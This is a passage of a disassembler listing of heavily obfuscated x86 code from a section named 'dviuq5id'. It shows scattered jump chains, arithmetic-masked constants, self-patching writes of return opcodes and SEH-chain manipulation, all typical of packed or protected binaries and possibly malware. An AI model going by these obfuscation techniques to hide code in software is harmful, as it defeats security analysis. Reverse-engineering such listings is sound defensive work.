		sub	ecx, 0C16478D5h
		jmp	loc_442B72
; END OF FUNCTION CHUNK	FOR sub_451B18
; ---------------------------------------------------------------------------

loc_44A79E:				; CODE XREF: dviuq5id:00449371j
		sub	edi, 32D262EDh
		jmp	loc_441978
; ---------------------------------------------------------------------------

loc_44A7A9:				; CODE XREF: dviuq5id:00443248j
		jl	loc_44DC68
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_44A7AF:				; CODE XREF: sub_446A9C-D8F6j
		jmp	sub_44E619
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------
		jo	loc_447CE3
		push	esi
		jmp	loc_443C74
; ---------------------------------------------------------------------------

locret_44A7C0:				; CODE XREF: dviuq5id:00453ACEj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_44A7C1:				; CODE XREF: sub_43BA0E+1j
		push	0CC538CCDh
		pop	edx
		sub	edx, 99CC2113h
		add	edx, 0CDBC7739h
		xchg	edx, [esp+4+var_4]
		jmp	loc_43E303
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_44A7DB:				; CODE XREF: sub_443862:loc_451E8Aj
		and	ecx, 9D164F4h
		add	ecx, 0F672FE16h
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_44D618
; END OF FUNCTION CHUNK	FOR sub_443862
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454873

loc_44A7EF:				; CODE XREF: sub_454873:loc_451B8Bj
		mov	dword ptr [ebp-18h], 0
; END OF FUNCTION CHUNK	FOR sub_454873
; START	OF FUNCTION CHUNK FOR sub_44B02F

loc_44A7F6:				; CODE XREF: sub_44B02F-A5BBj
		mov	eax, [ebp-4]
		mov	edx, [ebp-14h]
		add	eax, [edx+20h]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		jmp	loc_43B0B6
; END OF FUNCTION CHUNK	FOR sub_44B02F
; ---------------------------------------------------------------------------
		mov	ds:off_41D1F8, eax
		lea	eax, loc_455A3B
		mov	byte ptr [eax],	0C3h
		jmp	loc_455A3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4192DB

loc_44A81F:				; CODE XREF: sub_4192DB+Dj
					; sub_44E486+5j
					; DATA XREF: ...
		push	offset sub_44E486

loc_44A824:				; CODE XREF: sub_453BE2:loc_451018j
					; sub_44B2EA:loc_4580D2j
		jmp	loc_43EE4E
; END OF FUNCTION CHUNK	FOR sub_4192DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44A829	proc near		; CODE XREF: sub_44C620:loc_45A2FCj
		retn
sub_44A829	endp

; ---------------------------------------------------------------------------

loc_44A82A:				; CODE XREF: dviuq5id:00459258j
		jmp	loc_43B261
; ---------------------------------------------------------------------------
		jmp	loc_44767C
; ---------------------------------------------------------------------------

loc_44A834:				; CODE XREF: dviuq5id:00444575j
		jmp	nullsub_11

; =============== S U B	R O U T	I N E =======================================



sub_44A839	proc near		; CODE XREF: dviuq5id:00442BA7p
					; dviuq5id:0044FBA2j
		xchg	edi, [esp+0]
		pop	edi
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A9E1
sub_44A839	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edx
		push	6CDD4B93h
		pop	edx
		add	edx, 7B023352h
		xor	edx, 12A4F600h
		jmp	loc_455874
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_44A85D:				; CODE XREF: sub_451B18+Ej
		push	offset loc_455726
		jmp	loc_44B3E2
; END OF FUNCTION CHUNK	FOR sub_451B18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_44A867:				; CODE XREF: sub_459804:loc_440DE4j
		add	ebx, edx
		add	ebx, 0C4064EE7h
		mov	ebx, [ebx]

loc_44A871:				; CODE XREF: dviuq5id:loc_43D479j
		cmp	eax, ebx
		pop	ebx
		jnb	loc_4418AB
		jmp	loc_44BD62
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
		mov	eax, 4CF1C9EDh

loc_44A884:				; CODE XREF: dviuq5id:loc_44E679j
		call	sub_453642
		push	ebx
		push	0CFF9DBE2h
		pop	ebx
		and	ebx, 317028Ah
		rol	ebx, 3
		jmp	loc_450F7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_44A89E:				; CODE XREF: sub_459385:loc_43F370j
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_4512A8
		jmp	loc_442A93
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------

locret_44A8AD:				; CODE XREF: dviuq5id:loc_45964Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_44A8AE:				; CODE XREF: sub_448FC7+68Dj
		jz	loc_4588E5
		jmp	loc_449FE0
; END OF FUNCTION CHUNK	FOR sub_448FC7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_447. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_44A8BA:				; CODE XREF: sub_44B2EA+AA7Aj
		jmp	nullsub_411
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45584B

loc_44A8BF:				; CODE XREF: sub_45584B+5j
		jmp	nullsub_218
; END OF FUNCTION CHUNK	FOR sub_45584B

; =============== S U B	R O U T	I N E =======================================



sub_44A8C4	proc near		; CODE XREF: sub_45A1A8:loc_44200Dj

; FUNCTION CHUNK AT 00454B9C SIZE 00000005 BYTES

		add	esp, 0FFFFFFF8h
		mov	[ebp-1], al
		cmp	byte ptr [ebp-1], 0
		jz	loc_4426D3
		mov	dword ptr [ebp-8], 1
		jmp	loc_454B9C
sub_44A8C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A8E0	proc near		; CODE XREF: sub_45A1A8j

var_8		= dword	ptr -8
var_1		= byte ptr -1

; FUNCTION CHUNK AT 004426CC SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004426D3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00456921 SIZE 0000001E BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		jmp	loc_456921
sub_44A8E0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_44A8EB:				; CODE XREF: sub_43FDFB+A3FDj
		jg	loc_43B9E3
		adc	eax, edi
		jmp	loc_45A461
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45861F

loc_44A8F8:				; CODE XREF: sub_45861F:loc_44C690j
		xor	eax, 0B04A218Dh
		ror	eax, 0Bh
		sub	eax, 3E925489h
		push	ebx
		jmp	loc_43E7FC
; END OF FUNCTION CHUNK	FOR sub_45861F

; =============== S U B	R O U T	I N E =======================================



sub_44A90D	proc near		; DATA XREF: dviuq5id:0044EA1Eo

; FUNCTION CHUNK AT 0043AD19 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004449C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A1CC SIZE 0000000B BYTES

		add	eax, ebp
		add	eax, 312A0768h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44D767
		jmp	loc_4449C8
sub_44A90D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_44A925:				; CODE XREF: sub_4525D0:loc_43F195j
					; sub_4492F0+9BEBj
		ja	loc_458E55
		jmp	loc_44421F
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------

loc_44A930:				; CODE XREF: dviuq5id:0043B868j
		shl	ebp, 0Ah
		popf
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_44A934:				; CODE XREF: sub_43E4A4-2C4Cj
		sub	edx, 5053E3B2h
		xor	edx, 416C4762h
		add	edx, 5BA1E376h
		push	ecx
		pushf
		jmp	loc_45394B
; END OF FUNCTION CHUNK	FOR sub_43E4A4

; =============== S U B	R O U T	I N E =======================================



sub_44A94D	proc near		; CODE XREF: sub_457EE7j
					; DATA XREF: sub_457EC2+10o

; FUNCTION CHUNK AT 004397E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F9FE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00441364 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044215D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00442F1C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004434FF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00446AC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449FFF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044B669 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044C20A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CCE1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004501BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450527 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004514EE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004517B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453BC1 SIZE 0000000E BYTES

		push	2413533Fh
		pop	esi
		rol	esi, 0Ch
		xor	esi, 240706h

loc_44A95C:				; CODE XREF: dviuq5id:loc_43FC37j
		or	esi, ds:4000FBh
		sub	esi, ds:4000F2h
		test	esi, 20h
		jmp	loc_4514EE
sub_44A94D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_44A973:				; CODE XREF: sub_43B3A0:loc_4565EBj
		push	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jo	loc_450C64
		push	offset sub_457EED
		jmp	nullsub_242
; END OF FUNCTION CHUNK	FOR sub_43B3A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44A98C	proc near		; CODE XREF: sub_4418CF:loc_43914Ej
		retn
sub_44A98C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_44A98D:				; CODE XREF: sub_44C4E2:loc_456AC5j
		mov	eax, ebp
		pop	edx
		jmp	loc_446616
; END OF FUNCTION CHUNK	FOR sub_44C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439AA6

loc_44A995:				; CODE XREF: sub_439AA6:loc_43D0FBj
		jge	loc_459F59

loc_44A99B:				; CODE XREF: dviuq5id:0043A71Cj
		sub	ecx, edi
		jmp	loc_459F4F
; END OF FUNCTION CHUNK	FOR sub_439AA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_44A9A2:				; CODE XREF: sub_43C9A9+D245j
		popf
		pop	ebx
		jle	loc_454930

loc_44A9AA:				; CODE XREF: sub_43C9A9:loc_4394B3j
		push	offset loc_446906
		jmp	loc_4443DC
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------

loc_44A9B4:				; CODE XREF: dviuq5id:loc_43FAA8j
		push	edi
		push	0D3E9E9CFh
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_454228

loc_44A9BB:				; CODE XREF: sub_454228+5C51j
		add	edi, 9B54D663h
		xor	edi, 92BE15E0h
		jmp	loc_450DBB
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------
		jmp	ds:off_41D10C
; ---------------------------------------------------------------------------

loc_44A9D2:				; CODE XREF: dviuq5id:00457467j
		jmp	loc_44AA9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_44A9D7:				; CODE XREF: sub_43BA0E+12EAAj
		jmp	loc_43E303
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_44A9DC:				; CODE XREF: sub_44B2EA-F03Dj
		jmp	loc_4484CD
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFA5

loc_44A9E1:				; CODE XREF: dviuq5id:loc_441EB0j
					; sub_44A839+7j ...
		pop	edx
		jnb	loc_44D139
		mov	eax, [esp+0]
		push	edx
		push	offset byte_445C6D
		jmp	nullsub_227
; END OF FUNCTION CHUNK	FOR sub_43EFA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B301

loc_44A9F6:				; CODE XREF: sub_44B301-7A4Fj
					; sub_44B301:loc_4593F8j
		call	sub_44D2A8
		push	2D8AD451h
		pop	edx
		xor	edx, 0E80D0CC6h
		add	edx, 0D4D45963h
		xor	edx, 59385870h
		jmp	loc_453491
; END OF FUNCTION CHUNK	FOR sub_44B301
; ---------------------------------------------------------------------------

loc_44AA18:				; CODE XREF: dviuq5id:loc_44E525j
		lea	eax, nullsub_492
		mov	byte ptr [eax],	0C3h
		jmp	loc_44DE7E
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_43A201
		call	sub_44AFDA

loc_44AA35:				; CODE XREF: dviuq5id:00458C63j
		jmp	loc_4505D7
; ---------------------------------------------------------------------------
		push	offset sub_43BD2F
		jmp	locret_457A11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_44AA44:				; CODE XREF: sub_43938B+D830j
		rol	ecx, 11h
		shr	edi, 3

loc_44AA4A:				; CODE XREF: sub_43938B:loc_44D10Aj
		call	sub_4551F9

loc_44AA4F:				; CODE XREF: sub_43BD2F+154C1j
		jmp	loc_44F7D9
; END OF FUNCTION CHUNK	FOR sub_43938B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_395. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_44AA55:				; CODE XREF: sub_44514D+C074j
		jmp	loc_450453
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_44AA5A:				; CODE XREF: sub_446682:loc_446E0Dj
		push	offset loc_455118
		jmp	nullsub_325
; END OF FUNCTION CHUNK	FOR sub_446682

; =============== S U B	R O U T	I N E =======================================



sub_44AA64	proc near		; DATA XREF: dviuq5id:0044DC8Bo
		mov	ds:off_41D098, eax

loc_44AA6A:				; CODE XREF: dviuq5id:loc_44E7B4j
		lea	eax, sub_456276
		mov	byte ptr [eax],	0C3h
sub_44AA64	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43A160

loc_44AA73:				; CODE XREF: sub_43A160:loc_4401E0j
		jmp	loc_44385D
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------

loc_44AA78:				; CODE XREF: dviuq5id:loc_4598A7j
		pop	edx
		mov	eax, [esp]
		push	ebx
		jmp	loc_454255
; ---------------------------------------------------------------------------

loc_44AA82:				; CODE XREF: dviuq5id:0044405Ej
		jo	loc_443D29
		xor	ebx, ebp
		jmp	loc_444FC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_44AA8F:				; CODE XREF: sub_441DDA:loc_43FC32j
		jz	loc_4500DA
		jmp	loc_44EF91
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------

loc_44AA9A:				; CODE XREF: dviuq5id:loc_44A9D2j
		jnz	loc_450DB5
		jmp	loc_44941E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_44AAA5:				; CODE XREF: sub_4509F7+680Dj
		pop	esi
		push	offset loc_454B33
		jmp	nullsub_269
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------

loc_44AAB0:				; CODE XREF: dviuq5id:0043EE79j
					; dviuq5id:loc_442067j
		mov	eax, [esp]
		call	sub_452A73
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_44AAB8:				; CODE XREF: dviuq5id:0043BA4Fj
					; sub_43EB11:loc_445589j
		xchg	eax, [esp+0]
		mov	edx, eax
		push	ebx
		jmp	loc_43A7A7
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_44AAC3:				; CODE XREF: sub_43BD72+9674j
		xchg	esi, [esp+0]
		call	sub_45A310
		mov	eax, 0F75CA70h
		call	sub_453642
		mov	ds:dword_41D0D8, eax
		lea	eax, nullsub_16
		mov	byte ptr [eax],	0C3h
		jmp	loc_4552FC
; END OF FUNCTION CHUNK	FOR sub_43BD72

; =============== S U B	R O U T	I N E =======================================



sub_44AAE9	proc near		; DATA XREF: sub_43E095+F86Do

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043E59A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A0BE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044BA82 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E29F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451BAA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00456CF6 SIZE 0000000B BYTES

		cmp	byte ptr [eax],	0F1h
		jnz	loc_451BAA
		jmp	loc_44E29F
sub_44AAE9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44AAF7	proc near		; DATA XREF: sub_452470:loc_4547FFo
		mov	eax, [ebp-8]
		shl	eax, 3
		add	[ebp-8], eax
		mov	eax, [ebp-8]
sub_44AAF7	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44A015

loc_44AB03:				; CODE XREF: sub_44A015:loc_44158Cj
		shr	eax, 0Bh
		jmp	loc_43C1B1
; END OF FUNCTION CHUNK	FOR sub_44A015
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C0B

loc_44AB0B:				; CODE XREF: sub_447C0B:loc_439A15j
		neg	eax
		mov	[ebp-5], al
		jmp	loc_43B8FB
; END OF FUNCTION CHUNK	FOR sub_447C0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443354

loc_44AB15:				; CODE XREF: sub_443354:loc_44A258j
		push	offset sub_444BE4
		jmp	nullsub_458
; END OF FUNCTION CHUNK	FOR sub_443354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440D0D

loc_44AB1F:				; CODE XREF: sub_440D0D+Dj
		mov	edx, ebp
		xchg	edx, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		mov	byte ptr [ebp-1], 0
		mov	eax, cs
		xor	al, al
		jmp	loc_43F830
; END OF FUNCTION CHUNK	FOR sub_440D0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A44C

loc_44AB34:				; CODE XREF: sub_44A44C+11j
		pop	ecx
		xor	ecx, 2D615206h
		sub	ecx, 9E6C3CE7h
		xor	ecx, 52E99A43h
		jmp	loc_43B548
; END OF FUNCTION CHUNK	FOR sub_44A44C
; ---------------------------------------------------------------------------

loc_44AB4C:				; CODE XREF: dviuq5id:0044F561j
		jl	loc_449A5E
		xchg	ebp, [esi]
		sbb	ecx, esi
		jnz	loc_43CBD8
		jmp	loc_456370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B54

loc_44AB61:				; CODE XREF: sub_455B54-15CDCj
		or	eax, 1B2DBB0Fh

loc_44AB67:				; CODE XREF: sub_455B54:loc_445B42j
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	eax, 52h
		push	offset loc_44D8B9
		jmp	loc_43F74B
; END OF FUNCTION CHUNK	FOR sub_455B54

; =============== S U B	R O U T	I N E =======================================



sub_44AB80	proc near		; CODE XREF: dviuq5id:00439380p
					; sub_43BD72+7F73p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043928A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004392B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00439C87 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A39B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043C336 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043EDFC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F44F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004415E9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00442D47 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00443023 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00443B29 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00443C80 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00445145 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00445A0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445A4C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00448045 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045078C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004530B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004538A8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00453BEF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00454208 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004577B8 SIZE 0000000B BYTES

		push	ebp
		jz	loc_4392B1
		mov	ebp, esp
		call	nullsub_21
		mov	eax, ds:dword_446E04
		jmp	loc_4530B5
sub_44AB80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_44AB98:				; CODE XREF: sub_445437:loc_4415F8j
		call	sub_45327C
		mov	eax, 1171F650h
		push	edi
		push	0D9DA899Eh
		pop	edi
		jmp	loc_449144
; END OF FUNCTION CHUNK	FOR sub_445437

; =============== S U B	R O U T	I N E =======================================



sub_44ABAE	proc near		; CODE XREF: dviuq5id:00448B92p
					; sub_44F9EE-54ACj
		xchg	eax, [esp+0]
		pop	eax
		mov	[edi], edx
		pop	edi
sub_44ABAE	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_45295E

loc_44ABB5:				; CODE XREF: sub_45295E+Cj
					; sub_453642+3C16j
		xchg	eax, edx
		call	sub_449EB7
		jmp	nullsub_156
; END OF FUNCTION CHUNK	FOR sub_45295E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_44ABC0:				; CODE XREF: sub_44C592:loc_45A0E9j
		jl	loc_43E620

loc_44ABC6:				; CODE XREF: dviuq5id:00454E67j
		jmp	loc_43D0D0
; END OF FUNCTION CHUNK	FOR sub_44C592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_44ABCB:				; CODE XREF: sub_450217:loc_450A6Ej
		jmp	loc_44933D
; END OF FUNCTION CHUNK	FOR sub_450217
; ---------------------------------------------------------------------------
		shl	edx, 0Fh
		jmp	loc_43E61A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_44ABD8:				; CODE XREF: sub_44B99E-6283j
		add	edi, ebp
		jmp	loc_458B96
; END OF FUNCTION CHUNK	FOR sub_44B99E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_452. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_44ABE0	proc near		; CODE XREF: sub_458964:loc_44F99Bj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B09F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043BC05 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EF4D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00440B97 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00444F8D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004479CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449D4C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044DA2F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044EBE6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044F883 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00452E9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455BC0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045682F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458954 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004597AD SIZE 00000005 BYTES

		push	ebx
		push	4AFF0D16h
		pop	ebx
		and	ebx, 0D2668EA3h
		test	ebx, 20h
		jmp	loc_4479CA
sub_44ABE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44ABF8:				; CODE XREF: dviuq5id:00444BD5j
		cdq
		jmp	loc_441853
; ---------------------------------------------------------------------------

locret_44ABFE:				; CODE XREF: dviuq5id:loc_44D844j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_44ABFF:				; CODE XREF: sub_44E1C0+D35j
		jmp	loc_43C0F6
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455518

loc_44AC04:				; CODE XREF: sub_455518-A2B3j
		push	3B468246h
		pop	ecx
		or	ecx, 1F4A4C54h
		add	ecx, 764A9CEEh
		rol	ecx, 0Ah
		jmp	loc_43B2D3
; END OF FUNCTION CHUNK	FOR sub_455518
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_397. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459545

loc_44AC1F:				; CODE XREF: sub_459545+3j
		jmp	loc_452AAA
; END OF FUNCTION CHUNK	FOR sub_459545
; ---------------------------------------------------------------------------

loc_44AC24:				; CODE XREF: dviuq5id:0044D3CFj
		jmp	locret_44FC0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B2BA

loc_44AC29:				; CODE XREF: sub_43B2BA-873j
		jmp	loc_45291D
; END OF FUNCTION CHUNK	FOR sub_43B2BA

; =============== S U B	R O U T	I N E =======================================



sub_44AC2E	proc near		; CODE XREF: sub_44AC6E+12p
		mov	eax, large fs:0

loc_44AC35:				; CODE XREF: sub_444DF7+12j
					; sub_444DF7+4EE0j
		call	sub_444DF7

loc_44AC3A:				; CODE XREF: sub_44818A-A5F4j
					; dviuq5id:004431AFj
		jmp	nullsub_68
sub_44AC2E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_44AC3F:				; CODE XREF: sub_440C61:loc_44DDDAj
		pop	esi
		rol	esi, 12h
		add	esi, 0AB729ABCh
		xchg	esi, [esp+0]
		jmp	nullsub_301
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------

loc_44AC51:				; CODE XREF: dviuq5id:loc_455D74j
		push	eax
		push	ebx
		push	ecx
		push	edx
		jns	loc_44916E
		jmp	loc_440A43
; ---------------------------------------------------------------------------
		jnb	loc_43B602
		xchg	ecx, [ebp+0]
		jmp	sub_448A6A

; =============== S U B	R O U T	I N E =======================================



sub_44AC6E	proc near		; CODE XREF: sub_43EC6Fp
					; dviuq5id:0044362Aj

; FUNCTION CHUNK AT 00439144 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B7E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B510 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044DE74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450A1E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0045104E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00452547 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045659C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004599A3 SIZE 00000019 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	sub_44AC2E
		call	sub_446A1C
		jmp	loc_43B7E4
sub_44AC6E	endp

; ---------------------------------------------------------------------------

loc_44AC8F:				; CODE XREF: dviuq5id:loc_43BE49j
					; dviuq5id:0044471Dj
		ja	loc_442CA4
		sub	edi, 2317BAA0h
		cmp	edi, 0EC41B151h
		jmp	loc_44F4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44818A

loc_44ACA6:				; CODE XREF: sub_44818A-2AA3j
		test	edx, 20h
		jmp	loc_4439C1
; END OF FUNCTION CHUNK	FOR sub_44818A
; ---------------------------------------------------------------------------

loc_44ACB1:				; CODE XREF: dviuq5id:00457064j
		or	esi, ebx
		jbe	nullsub_449
		xchg	edx, ebp
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_44ACBB:				; CODE XREF: sub_44084F-6E45j
		or	eax, 18AF1343h
		add	eax, 0FE64E971h
		push	offset sub_44119E
		jmp	loc_4576A8
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441E2A

loc_44ACD1:				; CODE XREF: sub_441E2A+Cj
		pop	ebp
		jmp	sub_4463B7
; END OF FUNCTION CHUNK	FOR sub_441E2A
; ---------------------------------------------------------------------------
